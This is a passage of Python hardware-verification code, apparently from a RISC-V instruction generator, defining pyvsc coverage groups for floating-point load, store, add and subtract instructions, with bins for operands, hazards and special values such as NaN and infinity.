self.cp_dfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class fld_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_ex_zero_t)) self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_lsu_hazard = vsc.coverpoint(lambda: self.instr.lsu_hazard, cp_t=vsc.enum_t( branch_hazard_e)) self.cp_sfp_special_values_on_fd_value = vsc.coverpoint(lambda: self.instr.fd_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class fsw_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_ex_zero_t)) self.cp_fs2 = vsc.coverpoint(lambda: self.instr.fs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_lsu_hazard = vsc.coverpoint(lambda: self.instr.lsu_hazard, cp_t=vsc.enum_t( store_lsu_hazard_e)) self.cp_sfp_special_values_on_fs2_value = vsc.coverpoint(lambda: self.instr.fs2_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class fsd_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_rs1 = vsc.coverpoint(lambda: self.instr.rs1, cp_t=vsc.enum_t(riscv_reg_ex_zero_t)) self.cp_fs2 = vsc.coverpoint(lambda: self.instr.fs2, cp_t=vsc.enum_t(riscv_reg_t)) self.cp_imm_sign = vsc.coverpoint(lambda: self.instr.imm_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_lsu_hazard = vsc.coverpoint(lambda: self.instr.lsu_hazard, cp_t=vsc.enum_t( store_lsu_hazard_e)) self.cp_sfp_special_values_on_fs2_value = vsc.coverpoint(lambda: self.instr.fs2_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class fadd_s_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs2 = vsc.coverpoint(lambda: self.instr.fs2, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fs2_sign = vsc.coverpoint(lambda: self.instr.fs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fd_sign = vsc.coverpoint(lambda: self.instr.fd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fs2_value = vsc.coverpoint(lambda: self.instr.fs2_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fd_value = vsc.coverpoint(lambda: self.instr.fd_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class fadd_d_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs2 = vsc.coverpoint(lambda: self.instr.fs2, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fs2_sign = vsc.coverpoint(lambda: self.instr.fs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fd_sign = vsc.coverpoint(lambda: self.instr.fd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_fs1_sign, self.cp_fs2_sign, self.cp_fd_sign]) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fs2_value = vsc.coverpoint(lambda: self.instr.fs2_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fd_value = vsc.coverpoint(lambda: self.instr.fd_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class fsub_s_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs2 = vsc.coverpoint(lambda: self.instr.fs2, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fs2_sign = vsc.coverpoint(lambda: self.instr.fs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fd_sign = vsc.coverpoint(lambda: self.instr.fd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_fs1_sign, self.cp_fs2_sign, self.cp_fd_sign]) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fs2_value = vsc.coverpoint(lambda: self.instr.fs2_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fd_value = vsc.coverpoint(lambda: self.instr.fd_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class fsub_d_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs2 = vsc.coverpoint(lambda: self.instr.fs2, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs1_sign = vsc.coverpoint(lambda: self.instr.fs1_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fs2_sign = vsc.coverpoint(lambda: self.instr.fs2_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_fd_sign = vsc.coverpoint(lambda: self.instr.fd_sign, cp_t=vsc.enum_t(operand_sign_e)) self.cp_gpr_hazard = vsc.coverpoint(lambda: self.instr.gpr_hazard, cp_t=vsc.enum_t(hazard_e)) self.cp_sign_cross = vsc.cross([self.cp_fs1_sign, self.cp_fs2_sign, self.cp_fd_sign]) self.cp_sfp_special_values_on_fs1_value = vsc.coverpoint(lambda: self.instr.fs1_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs1_value = vsc.coverpoint( lambda: self.instr.fs1_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fs2_value = vsc.coverpoint(lambda: self.instr.fs2_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fs2_value = vsc.coverpoint( lambda: self.instr.fs2_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_sfp_special_values_on_fd_value = vsc.coverpoint(lambda: self.instr.fd_value[31:0], bins={"infinity": vsc.bin_array( [], pkg_ins.spf_val_r1, pkg_ins.spf_val_r2), "largest": vsc.bin_array( [], pkg_ins.spf_val_r1 - 1, pkg_ins.spf_val_r2 - 1), "zeros": vsc.bin_array( [], 0, pkg_ins.spf_zero_r), "NaN": vsc.bin_array([], pkg_ins.spf_val_r1 + 1, pkg_ins.spf_nan_r )}, options = dict(weight = precision), type_options = dict(weight = precision)) self.cp_sfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[30:pkg_ins.SINGLE_PRECISION_FRACTION_BITS] == 0, cp_t =vsc.int32_t(), options = dict(weight = precision),type_options = dict(weight = precision)) self.cp_dfp_special_values_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value, bins={ "infinity": vsc.bin_array([], pkg_ins.dpf_val_r1, pkg_ins.dpf_val_r2), "largest": vsc.bin_array([], pkg_ins.dpf_val_r1 - 1, pkg_ins.dpf_val_r2 - 1), "zeros": vsc.bin_array([], 0, pkg_ins.dpf_zero_r), "NaN": vsc.bin_array([], pkg_ins.dpf_val_r1 + 1, pkg_ins.dpf_nan_r)}, options = dict(weight = not precision),type_options = dict(weight = not precision)) self.cp_dfp_subnormal_on_fd_value = vsc.coverpoint( lambda: self.instr.fd_value[62:pkg_ins.DOUBLE_PRECISION_FRACTION_BITS - 1] == 0, cp_t=vsc.bit_t(), options = dict(weight = not precision),type_options = dict(weight = not precision)) @vsc.covergroup class fmul_s_cg(object): def __init__(self, precision): super().__init__() self.instr = None self.cp_fs1 = vsc.coverpoint(lambda: self.instr.fs1, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs2 = vsc.coverpoint(lambda: self.instr.fs2, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fd = vsc.coverpoint(lambda: self.instr.fd, cp_t=vsc.enum_t(riscv_fpr_t)) self.cp_fs1_sign = 